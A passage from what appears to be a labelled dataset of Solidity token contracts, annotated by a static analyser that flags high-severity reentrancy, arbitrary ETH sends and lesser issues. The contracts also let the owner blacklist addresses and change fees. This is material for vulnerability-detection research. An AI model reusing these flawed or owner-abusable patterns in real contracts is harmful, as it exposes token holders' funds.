\"Cannot reenable trading\");\n\n tradingActive = true;\n\n swapEnabled = true;\n\n tradingActiveBlock = block.number;\n\n emit EnabledTrading();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 87d157c): MAGAKING.setSwapRestrictions(bool,uint256) should emit an event for maxSwapsPerBlock = _maxSwaps \n\t// Recommendation for 87d157c: Emit an event for critical parameter changes.\n function setSwapRestrictions(\n bool _enabled,\n uint256 _maxSwaps\n ) external onlyOwner {\n require(_maxSwaps > 0, \"Max swaps per block must be greater than 0\");\n\n oncePerBlockEnabled = _enabled;\n\n\t\t// events-maths | ID: 87d157c\n maxSwapsPerBlock = _maxSwaps;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eb0c3e4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eb0c3e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7c80fec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7c80fec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function forceSwapBack(bool all) external onlyOwner {\n require(\n balanceOf(address(this)) >= swapTokensAtAmount,\n \"Can only swap when token amount is at or higher than restriction\"\n );\n\n swapping = true;\n\n\t\t// reentrancy-events | ID: eb0c3e4\n\t\t// reentrancy-benign | ID: 7c80fec\n swapBack(all);\n\n\t\t// reentrancy-benign | ID: 7c80fec\n swapping = false;\n\n\t\t// reentrancy-events | ID: eb0c3e4\n emit OwnerForcedSwapBack(block.timestamp);\n }\n}\n",
"file_name": "solidity_code_10778.sol",
"size_bytes": 30499,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c307c49): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for c307c49: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: c307c49\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract COIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38f2f15): COIN._taxWallet should be immutable \n\t// Recommendation for 38f2f15: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 118945b): COIN._initialBuyTax should be constant \n\t// Recommendation for 118945b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 414b13b): COIN._initialSellTax should be constant \n\t// Recommendation for 414b13b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: a149049): COIN._finalBuyTax should be constant \n\t// Recommendation for a149049: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 528750b): COIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 528750b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae99405): COIN._reduceSellTaxAt should be constant \n\t// Recommendation for ae99405: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70dd85f): COIN._preventSwapBefore should be constant \n\t// Recommendation for 70dd85f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f1ab4e): COIN._taxSwapThreshold should be constant \n\t// Recommendation for 2f1ab4e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7cb18d2): COIN._maxTaxSwap should be constant \n\t// Recommendation for 7cb18d2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 766fd81): COIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 766fd81: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e7bcdf9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e7bcdf9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e040f21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e040f21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e7bcdf9\n\t\t// reentrancy-benign | ID: e040f21\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e7bcdf9\n\t\t// reentrancy-benign | ID: e040f21\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 616189b): COIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 616189b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e040f21\n\t\t// reentrancy-benign | ID: 4ebbd58\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e7bcdf9\n\t\t// reentrancy-events | ID: b684378\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0a131d5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0a131d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b3ffcbe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b3ffcbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 0a131d5\n\t\t\t\t// reentrancy-eth | ID: b3ffcbe\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0a131d5\n\t\t\t\t\t// reentrancy-eth | ID: b3ffcbe\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b3ffcbe\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b3ffcbe\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b3ffcbe\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0a131d5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b3ffcbe\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b3ffcbe\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0a131d5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e7bcdf9\n\t\t// reentrancy-events | ID: b684378\n\t\t// reentrancy-events | ID: 0a131d5\n\t\t// reentrancy-benign | ID: e040f21\n\t\t// reentrancy-benign | ID: 4ebbd58\n\t\t// reentrancy-eth | ID: 59a2901\n\t\t// reentrancy-eth | ID: b3ffcbe\n\t\t// reentrancy-eth | ID: 5410a9b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 46fea00): COIN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 46fea00: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e7bcdf9\n\t\t// reentrancy-events | ID: b684378\n\t\t// reentrancy-events | ID: 0a131d5\n\t\t// reentrancy-eth | ID: 59a2901\n\t\t// reentrancy-eth | ID: b3ffcbe\n\t\t// reentrancy-eth | ID: 5410a9b\n\t\t// arbitrary-send-eth | ID: 46fea00\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b684378): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b684378: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ebbd58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ebbd58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c10371f): COIN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c10371f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9cecb67): COIN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9cecb67: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 59a2901): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 59a2901: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5410a9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5410a9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: b684378\n\t\t// reentrancy-benign | ID: 4ebbd58\n\t\t// reentrancy-eth | ID: 59a2901\n\t\t// reentrancy-eth | ID: 5410a9b\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: b684378\n\t\t// reentrancy-benign | ID: 4ebbd58\n\t\t// reentrancy-eth | ID: 59a2901\n\t\t// reentrancy-eth | ID: 5410a9b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: b684378\n\t\t// reentrancy-benign | ID: 4ebbd58\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 9cecb67\n\t\t// reentrancy-eth | ID: 5410a9b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: c10371f\n\t\t// reentrancy-eth | ID: 5410a9b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 5410a9b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5410a9b\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f39dc30): COIN.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for f39dc30: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: f39dc30\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10779.sol",
"size_bytes": 21612,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HMM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 918fb19): HMM._taxWallet should be immutable \n\t// Recommendation for 918fb19: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc023ee): HMM._initialBuyTax should be constant \n\t// Recommendation for cc023ee: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1d0be09): HMM._initialSellTax should be constant \n\t// Recommendation for 1d0be09: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 27;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a6dd89): HMM._reduceBuyTaxAt should be constant \n\t// Recommendation for 9a6dd89: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4a7c80): HMM._reduceSellTaxAt should be constant \n\t// Recommendation for e4a7c80: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6fe383c): HMM._preventSwapBefore should be constant \n\t// Recommendation for 6fe383c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MlemCar\";\n\n string private constant _symbol = unicode\"MLEM\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e66ffe): HMM._taxSwapThreshold should be constant \n\t// Recommendation for 4e66ffe: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92d54a0): HMM._maxTaxSwap should be constant \n\t// Recommendation for 92d54a0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 6300000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2ce5a36): HMM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2ce5a36: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f57bc6e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f57bc6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b754702): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b754702: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f57bc6e\n\t\t// reentrancy-benign | ID: b754702\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f57bc6e\n\t\t// reentrancy-benign | ID: b754702\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e3310f3): HMM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e3310f3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b754702\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f57bc6e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c9d076): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c9d076: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a9d8f59): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a9d8f59: Apply the check-effects-interactions pattern (see 